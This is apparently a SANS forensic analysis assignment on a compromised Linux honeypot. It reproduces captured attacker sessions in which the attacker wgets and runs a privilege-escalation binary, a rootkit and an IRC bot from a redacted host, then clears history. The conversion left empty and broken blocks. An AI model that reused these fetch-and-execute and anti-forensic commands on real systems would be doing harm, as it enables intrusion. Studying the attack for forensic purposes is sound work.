```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$

```
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x
inetd/services;inetd/services
```

get terminal settingsbash-2.05a$ --15:31:46-- http://XXX.XXX.XXX.com/eladoht/bot.tgz

```
 Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
```

```
```

tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcsetattr: Invalid argument
bash: cd: .X11-pipe: No such file or directory
bash: chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory

```
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x
inetd/services;inetd/services
```

```
readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$

```

```
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]
```

```
15:32:50 (179.21 KB/s) - 'bot.tgz' saved [764880/764880]
```

```
..X11-pipe/
..X11-pipe/COPYING
..X11-pipe/README
..X11-pipe/TODD
..X11-pipe/VERSIONS
..X11-pipe/Makefile
..X11-pipe/configure
..X11-pipe/mech.pid
..X11-pipe/lpd.help
..X11-pipe/randfiles/
..X11-pipe/randfiles/randaway.e
..X11-pipe/randfiles/randinsult.e
..X11-pipe/randfiles/randkicks.e
..X11-pipe/randfiles/randnick.e
..X11-pipe/randfiles/randpickup.e
..X11-pipe/randfiles/randsay.e
..X11-pipe/randfiles/rsignoff.e
..X11-pipe/randfiles/randversions.e
..X11-pipe/src/
..X11-pipe/src/Makefile.in
..X11-pipe/src/cfgfile.c
..X11-pipe/src/channel.c
..X11-pipe/src/com-ons.c
..X11-pipe/src/combot.c
..X11-pipe/src/commands.c
..X11-pipe/src/config.h.in
..X11-pipe/src/dcc.c
..X11-pipe/src/debug.c
..X11-pipe/src/defines.h
..X11-pipe/src/function.c
..X11-pipe/src/global.h
```

```
bash: [19893: 1] tcsetattr: Invalid argument

```
pwd

ps ax
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$  PID TTY STAT TIME COMMAND
1 ? S 0:04 init
2 ? SW 0:00 [keventd]
3 ? SW 0:00 [kpsmd]
4 ? SWN 0:00 [ksoftirqd_CPU0]
5 ? SW 0:02 [kswapd]
6 ? SW 0:00 [bdflush]
7 ? SW 0:00 [kudated]
8 ? SW 0:00 [mdrecoveryd]
12 ? SW 0:00 [kjournald]
91 ? SW 0:00 [khubd]
186 ? SW 0:00 [kjournald]
187 ? SW 0:00 [kjournald]
188 ? SW 0:00 [kjournald]
189 ? SW 0:00 [kjournald]
657 ? S 0:00 [rce.statd]
770 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sct
790 ? SL 0:01 ntpd -U ntp -g
842 ? S 0:01 [usr/sbin/sshd]
875 ? S 0:00 xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
916 ? S 0:00 sendmail: accepting connections
935 ? S 0:00 gpm -t ps/2 -m /dev/mouse
953 ? S 0:00 cron
1005 ? S 0:03 [xfs -droppriv -daemon]
```
```bash
1047    7  S  0:00 /usr/sbin/atd
1050    tty1  S  0:00 /sbin/mingetty tty1
1051    tty2  S  0:00 /sbin/mingetty tty2
1052    tty3  S  0:00 /sbin/mingetty tty3
1053    tty4  S  0:00 /sbin/mingetty tty4
1054    tty5  S  0:00 /sbin/mingetty tty5
1055    tty6  S  0:00 /sbin/mingetty tty6
1056    7  S  0:00 /usr/bin/kdm -nodeamon
1066    7  S  671:43 /usr/X11R6/bin/X -auth /var/run/xauth/A:0-gkOEqz
1067    7  S  0:00 -i0
1091    7  S  0:00 /bin/sh /usr/bin/startkde
1175    7  S  0:00 kdeinit: Running...
1178    7  S  0:00 kdeinit: dcopyserver --nosid
1181    7  S  0:00 kdeinit: klauncher
1183    7  S  5:52 kdeinit: kded
1192    7  S  0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
1203    7  S  0:02 kdeinit: knotify
1208    7  S  0:00 kwrapper ksoserver --restore
1210    7  S  0:00 kdeinit: ksoserver --restore
1211    7  S  0:09 kdeinit: kwin --session 117f0000010001056126293000000008
1217    7  S  0:18 kdeinit: kicker
1219    7  S  0:35 autorun -i --interval=1000 --cdplayer=/usr/bin/kscd
1222    7  S  0:51 kdeinit: klobber -icon klobber -miniicon klobber
1226    7  S  0:00 kdeinit: kwrited
1228    7  S  0:00 korgac --miniicon korganizer
1230    7  S  0:00 kalarmd --login
1232    7  S  5:04 kdeinit: konsole -icon konsole -miniicon konsole
1234    pts/1  S  0:00 /bin/bash
1266    pts/1  S  0:00 su -
1269    pts/1  S  0:00 -bash
6133    7  S  0:00 kdeinit: kcookiejar
6135    7  S  0:00 kdesud
7168    7  S  0:12 kdeinit: konsole -icon konsole -miniicon konsole
7170    pts/2  S  0:00 /bin/bash
7203    pts/2  S  0:00 su
7206    pts/2  S  0:00 -bash
8125    7  S  0:01 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
8154    7  S  0:00 /usr/sbin/snmpd -s -l /dev/null -P /var/run/snmpd -a
10606    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10607    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10608    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10609    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10610    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10611    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10612    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10613    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19365    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19366    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19367    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19368    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19369    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19370    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19371    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19372    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19373    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19374    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19375    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19376    7  S  0:00 /usr/sbin/htpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19488    7  S  0:00 bash -i
19504    7  S  0:00 /r
19505    7  2  0:00 [r <defunct>]
19507    7  S  0:00 /bin/sh
19508    7  S  0:00 su
19509    7  S  0:00 bash
19635    7  S  0:00 minilogd
19678    7  T  0:00 /usr/bin/weit
19685    7  S  0:00 popauth
19686    7  Z  0:00 [weit <defunct>]
19694    7  T  0:00 cp -f killall /usr/bin/
19697    7  Z  0:00 [cp <defunct>]
19701    7  T  0:00 cp -f find /usr/bin/
```
Below are a summary of the session and the files downloaded. The file ‘r’ was repeatedly downloaded, used to elevate privileges to root, and removed.

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.

<table>
<thead>
<tr>
<th>Time</th>
<th>Date</th>
<th>Shell</th>
<th>Commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>13:56:00</td>
<td>19:51:46</td>
<td>-</td>
<td>unset HISTFILES</td>
</tr>
</tbody>
</table>

Kevin Miller - Sans GCFA Assignment – v1.4
The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE ([www.ripe.net](http://www.ripe.net)) showed the IP address belonging to XXXXXXXX Network S.A. in Bucharest, Romania.

```
inetnum: XXX.XXX.96.0 - XXX.XXX.127.255
netname: XXXXX
descr: XXXXX XXXXX Network S.A.
descr: XXXXX XXXXX Network
country: RO
admin-c: BT17-RIPE
tech-c: PDNN1-RIPE
status: ASSIGNED PA
notify: XXXXX@XXXXXX.ro
mnt-by: AS8503-MNT
changed: XXXXX@XXXXXX.ro 20030704
source: RIPE
route: XXX.XXX.116.0/22
descr: PCNET
origin: AS8503
notify: XXXXX@XXXXXX.ro
mnt-by: AS8503-MNT
changed: XXXXX@XXXXXX.ro 20020912
source: RIPE
role: XXXXX XXXXX Network NOC
address: XXXXXXX XXXXX, nr. 10
address: Bucharest, ROMANIA
phone: +XX 1 555 86 61
phone: +XX 1 555 35 23
fax-no: +XX 1 555 49 99
e-mail: XXXXX@XXXXXX.ro
trouble: +XX X 555 18 84
```
<table>
<thead>
<tr>
<th>admin-c: BT17-RIPE</th>
</tr>
</thead>
<tbody>
<tr>
<td>tech-c: AP158-RIPE</td>
</tr>
<tr>
<td>tech-c: CM3059-RIPE</td>
</tr>
<tr>
<td>tech-c: CN19-RIPE</td>
</tr>
<tr>
<td>tech-c: IG20-RIPE</td>
</tr>
<tr>
<td>tech-c: CR60-RIPE</td>
</tr>
<tr>
<td>nic-hdl: PDNN1-RIPE</td>
</tr>
<tr>
<td>remarks: ---------</td>
</tr>
<tr>
<td>remarks: abuse: <a href="mailto:abuse@XXXXX.ro">abuse@XXXXX.ro</a></td>
</tr>
<tr>
<td>remarks: ---------</td>
</tr>
<tr>
<td>remarks: for escalation please directly call the technical manager</td>
</tr>
<tr>
<td>notify: <a href="mailto:XXXXX@XXXXX.ro">XXXXX@XXXXX.ro</a></td>
</tr>
<tr>
<td>mnt-by: AS8503-MNT</td>
</tr>
<tr>
<td>changed: <a href="mailto:XXXXX@XXXXX.ro">XXXXX@XXXXX.ro</a> 20011008</td>
</tr>
<tr>
<td>source: RIPE</td>
</tr>
<tr>
<td>person: XXXXX XXXXX</td>
</tr>
<tr>
<td>remarks: Technical Manager</td>
</tr>
<tr>
<td>remarks: XXXXX XXXX Network S.A.</td>
</tr>
<tr>
<td>address: Bucharest, Romania</td>
</tr>
<tr>
<td>phone: +XX X 555 18 84</td>
</tr>
<tr>
<td>phone: +XX 1 555 86 61</td>
</tr>
<tr>
<td>phone: +XX 1 555 35 23</td>
</tr>
<tr>
<td>fax-no: +XX 1 555 49 99</td>
</tr>
<tr>
<td>nic-hdl: BT17-RIPE</td>
</tr>
<tr>
<td>mnt-by: BT17-RIPE-MNT</td>
</tr>
<tr>
<td>notify: <a href="mailto:XXXXX@pcnet.ro">XXXXX@pcnet.ro</a></td>
</tr>
<tr>
<td>e-mail: <a href="mailto:XXXXX@pcnet.ro">XXXXX@pcnet.ro</a></td>
</tr>
<tr>
<td>changed: <a href="mailto:XXXXX@pcnet.ro">XXXXX@pcnet.ro</a> 20011009</td>
</tr>
<tr>
<td>source: RIPE</td>
</tr>
</tbody>
</table>
Tcpflow Output – Buffer Overflow and Root Kit placements.

The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
15:09:13 (76.87 KB/s) - `-r' saved [19916/19916]

`/r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x400fd1d
[+] Now wait for suid shell...
su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf `r`
ls -al
```

```
total 38
drwxr-xr-x  19 root root 1024 Jun 23 11:59 ..
drwxrwxrwt  2 root root 1024 Jun 23 12:18 .ICE-unix
-rwxr-xr-x  1 root root  11 Jun 23 12:00 .X0-lock
drwxrwxrwx  2 root root 1024 Jun 23 12:00 .X11-lock
drwxrwxrwt  2 xfs xfs 1024 Jun 23 12:00 .font-unix
drwx-------- 2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x  2 root root 1024 Jun 19 11:43 .ICE-unix
drwxr-xr-x  2 root root 1024 Jun 19 11:43 .mozilla
-rwxr-xr-x  1 root root 13417 Jun 20 10:17 .Xftcache
-rwxr-xr-x  1 root root  890 Jun 20 04:14 X-Test.log
-rwxr-xr-x  1 root root 4133 Jun 20 04:14 XF86Config.test
drwx-------- 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwx-------- 2 root root 1024 Jun 20 10:55 kde-root
drwx-------- 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drwx-------- 2 root root 1024 Jun 23 11:55 ksocket-root
-drwx-------- 3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
drwx-------- 3 root root 1024 Jun 20 10:55 mcop-root
-rwx-------- 1 root root  0 Jun 29 04:02 session_mm_apache0.sem
drwx-------- 2 root root 1024 Jun 20 05:20 texconf.Nzu1O0wget

wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16-- http://XXX.XXX.com/eladoht/s.tar.gz
 => `s.tar.gz'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
```
tar -zxvf s.tar.gz; rm -rf s.tar.gz; cd .s/... 

ls -al

```
total 39
drwxrwxrwt 16 root root 1024 Jun 29 15:11 .
drwxrwxrwt 19 root root 1024 Jun 29 11:59 ..
drwxrwxrwt 2 root root 1024 Jun 29 12:18 .ICE-unix
-rw-r--r-- 1 root root 11 Jun 23 12:00 .X0-lock
drwxrwxrwt 2 root root 1024 Jun 23 12:00 .X11-unix
drwx------- 2 root root 1024 Jun 19 11:43 .kde
drwxr-xr-x 2 root root 1024 Jun 19 11:48 .mozilla
drwxr-xr-x 2 root root 1024 Jun 19 11:43 .gt
-rw------- 1 root root 1024 Jun 20 02:17 .rnd
drwxr-xr-x 4 502 502 1024 Mar 24 21:41 .s
-rw-r--r-- 1 root root 13417 Jun 20 10:17 .Xftcache
-rwxr-xr-x 1 root root 890 Jun 20 04:14 X-Test.log
drwx------- 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drwx------- 2 root root 1024 Jun 20 10:55 kde-root
drwx------- 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drwx------- 2 root root 1024 Jun 23 11:55 ksocket-root
drwx------- 3 userid1 userid1 1024 Jun 23 12:18 mcop-userid1
drwx------- 3 root root 1024 Jun 20 10:55 mcop-root
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drwx------- 2 root root 1024 Jun 20 02:20 texconf.Nzu100
```

cd .s
/bin/sh: line 1: 19508 Killed su
rm -rf ls ps
bash: [19488: 1] tcsetattr: Invalid argument
bash-2.05a$ exit

At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.

TERM=xterm; export TERM=xterm; exec bash -i

```
uname -a; id; w;
bash-2.05a$ Linux
 rhl 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown
uid=48(apache) gid=48(apache) groups=48(apache)
3:20pm up 6 days, 3:22, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIND IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 6days 0.00s ? -
userid1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
userid1 pts/2 - Fri 8am 47:13m 0.49s 0.39s -bash
```

readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$
cd /tmp
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readl
ine:
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
```
warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ --15:21:42--
http://XXX.XXX.com/eladoht/stuff/r
 => `r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
OK ............... 100% 76.87 KB/s 15:21:43 (76.87 KB/s) - `r' saved [19916/19916]
```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ [+]
./r
Attached to 19602
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
```
rm -rf r
cd .
```
./install
```
\[\[0m\[\[1;30m\]施肥\[\[1;30m\] \[\[0m\[\[1;31m\]m\[\[0m\[\[1;37m\]Installing trojaned programs\[\[0m\[\[1;30m\]\[\[0m\[\[1;37m\]m\[\[0m\[\[1;31m\]*** failed ***\[\[0m\[\[1;37m\]m\[\[0m\[\[1;30m\]\[\[0m\[\[1;37m\]m\[\[0m\[\[1;31m\]*** failed ***\[\[0m\[\[1;37m\]m
```
Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157 - 192.168.002.015.00443 and 192.168.002.015.00443 - XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font - unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

```
exec bash -i
uname -a; id; w;
```

```
bash: no job control in this shell
readline: warning: rl_prep_terminal: cannot get terminal settings
```

```
Thu Apr 18 07:37:53 EDT 2002
```

```
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 6days 0.00s ? -
userid1 pts/1 - 23Jun03 6days 0.21s 0.10s -bash
userid1 pts/2 - Fri 8am4 47:20m 0.49s 0.39s -bash
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
bash 2.05a$
```

```
cd /tmp
```

```
readline: warning: rl_prep_terminal: cannot get terminal settings
```

```
l -al
```

```
bash: [19893: 1] tcsetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settings
```

```
dir -al
```

```
total 64
drwxr-x-xr-x 20 root root 1024 Jun 29 15:22 ..
drw-xrwxrwx 2 root root 1024 Jun 23 12:18 .ICE-unix
-r-r-x-xr-x 1 root root 11 Jun 23 12:00 .X0-lock
drw-xrwxrwx 2 root root 1024 Jun 23 12:00 .X11-unix
drw-xrwxrwx 2 xfs xfs 1024 Jun 23 12:00 .font-unix
drw-xr-x-x x 2 root root 1024 Jun 19 11:43 .kde
drw-xr-x-x 2 root root 1024 Jun 19 11:48 .mozilla
drw-xr-x-x 2 root root 1024 Jun 19 11:43 .qt
-rw------- 1 root root 1024 Jun 20 02:17 .rnd
drw-xr-x-x 4 502 502 1024 Jun 29 15:22 .s
-rw-r-x-x 1 root root 13417 Jun 20 10:17 .xftcache
-rw-xr-x-x 1 root root 890 Jun 20 04:14 X-Test.log
-rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test
drw------- 2 userid1 userid1 1024 Jun 23 12:18 kde-userid1
drw------- 2 root root 1024 Jun 20 10:55 kde-root
drw------- 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid1
drw------- 2 root root 1024 Jun 23 11:55 ksocket-root
drw------- 3 userid1 userid1 1024 Jun 23 12:18 mcp-userid1
drw------- 3 root root 1024 Jun 20 10:55 mcp-root
-rw------- 1 apache apache 24012 Jun 29 15:28 r
-rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
drw------- 2 root root 1024 Jun 20 02:20 texconf.Nzu100
```


readline: warning: rl_prep_terminal: cannot get terminal settings
bash: ./r
[19893: 1] tcgetattr: Invalid argument
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: cd font-unix
cd: font-unix: No such file or directory
bash: cd font-unix
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: wget XXX.XXX.com/eladoht/bot.tgz; tar -zxvf bot.tgz; rm -rf bot.tgz; cd .X11-pipe; chmod +x inetd/services/inetd/services;
get terminal settings
bash: cd .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory
bash: inetd/services; inetd/services
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: wget XXX.XXX.com/eladoht/bot.tgz
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
15:31:45 ERROR 404: Not Found.
tar: bot.tgz: Cannot open: No such file or directory
tar: Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19893: 1] tcgetattr: Invalid argument
bash: cd .X11-pipe: No such file or directory
chmod: getting attributes of `inetd/services': No such file or directory
bash: inetd/services: No such file or directory
bash: inetd/services; inetd/services
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: wget XXX.XXX.com/eladoht/bot.tgz
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]

   OK 6%  3%  13%  20%  26%  33%  40%  46%  53%  60%  66%  73%  80%  87%
 50K  100K  150K  200K  250K  300K  350K  400K  450K  500K  550K  600K  650K  700K

15:32:50 (179.21 KB/s) - 'bot.tgz' saved [764880/764880]

.X11-pipe/
.X11-pipe/COPYING
.X11-pipe/README
.X11-pipe/TODO
.X11-pipe/VERSIONS
.X11-pipe/Makefile
.X11-pipe/configure
.X11-pipe/mech.pid
.X11-pipe/lpd.help
.X11-pipe/randfiles/
.X11-pipe/randfiles/randaway.e
.X11-pipe/randfiles/randinsult.e
bash: [19893: 1] tcsetattr: Invalid argument

ps
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$ readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$

PID  TTY        TIME   CMD
10606  ?  00:00:00  httpd
10607  ?  00:00:00  httpd
10608  ?  00:00:00  httpd
10609  ?  00:00:00  httpd
10610  ?  00:00:00  httpd
Kevin Miller - Sans GCFA Assignment – v1.4

10611 7 00:00:00 httpd
10612 7 00:00:00 httpd
10613 7 00:00:00 httpd
19365 7 00:00:00 httpd
19366 7 00:00:00 httpd
19367 7 00:00:00 httpd
19368 7 00:00:00 httpd
19369 7 00:00:00 httpd
19370 7 00:00:00 httpd
19371 7 00:00:00 httpd
19372 7 00:00:00 httpd
19373 7 00:00:00 httpd
19374 7 00:00:00 httpd
19375 7 00:00:00 httpd
19376 7 00:00:00 httpd
19488 7 00:00:00 bash
19504 7 00:00:00 r
19505 7 00:00:00 r <defunct>
19831 7 00:00:00 ls
19832 7 00:00:00 ls <defunct>
19834 7 00:00:00 ls
19835 7 00:00:00 ls <defunct>
19893 7 00:00:00 bash
19905 7 00:00:00 ls
19906 7 00:00:00 ls <defunct>
19936 7 00:00:00 services
19941 7 00:00:00 services
19943 7 00:00:00 ps

ps ax

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$

<table>
<thead>
<tr>
<th>PID</th>
<th>TTY</th>
<th>STAT</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>S</td>
<td>0:04</td>
<td>init</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>SW</td>
<td>0:00</td>
<td>[keventd]</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>SW</td>
<td>0:00</td>
<td>[kapmd]</td>
<td></td>
</tr>
<tr>
<td>4</td>
<td>SWN</td>
<td>0:00</td>
<td>[ksoftirqd_CPU0]</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>SW</td>
<td>0:02</td>
<td>[kswapd]</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>SW</td>
<td>0:00</td>
<td>[bdflush]</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>SW</td>
<td>0:00</td>
<td>[kupdated]</td>
<td></td>
</tr>
<tr>
<td>8</td>
<td>SW</td>
<td>0:00</td>
<td>[mdrecoveryd]</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>91</td>
<td>SW</td>
<td>0:00</td>
<td>[khubd]</td>
<td></td>
</tr>
<tr>
<td>186</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>187</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>188</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>189</td>
<td>SW</td>
<td>0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>657</td>
<td>S</td>
<td>0:00</td>
<td>rpc.statd</td>
<td></td>
</tr>
<tr>
<td>770</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc</td>
<td></td>
</tr>
<tr>
<td>790</td>
<td>SL</td>
<td>0:01</td>
<td>ntpd -U ntp -g</td>
<td></td>
</tr>
<tr>
<td>842</td>
<td>S</td>
<td>0:01</td>
<td>/usr/sbin/sshd</td>
<td></td>
</tr>
<tr>
<td>875</td>
<td>S</td>
<td>0:00</td>
<td>xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid</td>
<td></td>
</tr>
<tr>
<td>916</td>
<td>S</td>
<td>0:00</td>
<td>sendmail: accepting connections</td>
<td></td>
</tr>
<tr>
<td>935</td>
<td>S</td>
<td>0:00</td>
<td>gpm -t ps/2 -m /dev/mouse</td>
<td></td>
</tr>
<tr>
<td>936</td>
<td>S</td>
<td>0:00</td>
<td>cron</td>
<td></td>
</tr>
<tr>
<td>1005</td>
<td>S</td>
<td>0:03</td>
<td>xfs -droppriv -daemon</td>
<td></td>
</tr>
<tr>
<td>1041</td>
<td>S</td>
<td>0:00</td>
<td>/usr/sbin/atd</td>
<td></td>
</tr>
<tr>
<td>1050</td>
<td>tty1</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty1</td>
</tr>
<tr>
<td>1051</td>
<td>tty2</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty2</td>
</tr>
<tr>
<td>1052</td>
<td>tty3</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty3</td>
</tr>
<tr>
<td>1053</td>
<td>tty4</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty4</td>
</tr>
<tr>
<td>1054</td>
<td>tty5</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty5</td>
</tr>
<tr>
<td>1055</td>
<td>tty6</td>
<td>S</td>
<td>0:00</td>
<td>/sbin/mingetty tty6</td>
</tr>
<tr>
<td>1056</td>
<td>S</td>
<td>0:00</td>
<td>/usr/bin/kdm -nodaemon</td>
<td></td>
</tr>
<tr>
